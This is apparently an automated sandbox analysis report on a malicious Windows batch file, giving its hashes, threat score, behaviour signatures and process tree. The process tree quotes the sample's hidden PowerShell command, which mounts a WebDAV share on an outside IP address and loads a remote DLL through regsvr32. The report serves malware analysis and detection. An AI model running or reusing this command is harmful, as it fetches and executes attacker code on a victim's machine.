Analysis

  • max time kernel
    101s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    21-07-2024 11:53

General

  • Target

    87532784455232533.bat

  • Size

    9KB

  • MD5

    d59333152802add9334b1f49f2dfffbb

  • SHA1

    a8c4d45540fa95b17956429afcb9ce553232ad32

  • SHA256

    ffc1d78ef7cb905b892d76e262bad722764e59e6a256aa1c3a866214db715e48

  • SHA512

    fc43120634df8d43d3469895ae29e26d5452cfc5b2272afe9846f16dd09b3df35ad610f1870c35ab3a0441b399162fc5971a22bcc37c75c23cfbac7fa555428b

  • SSDEEP

    192:XeUEQm/xbgBcOUCO1Lv9Q/rzwX+q9wD7zFEWhq781fA:OUEQegAD+KVi/eW+

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\87532784455232533.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:708
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\3130833887991.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2780
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\3130833887991.dll
          3⤵
            PID:2856

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/708-17-0x0000000002070000-0x0000000002170000-memory.dmp

        Filesize

        1024KB

      • memory/708-18-0x0000000002070000-0x0000000002170000-memory.dmp

        Filesize

        1024KB

      • memory/2752-23-0x000000001B280000-0x000000001B562000-memory.dmp

        Filesize

        2.9MB

      • memory/2752-24-0x00000000026F0000-0x00000000026F8000-memory.dmp

        Filesize

        32KB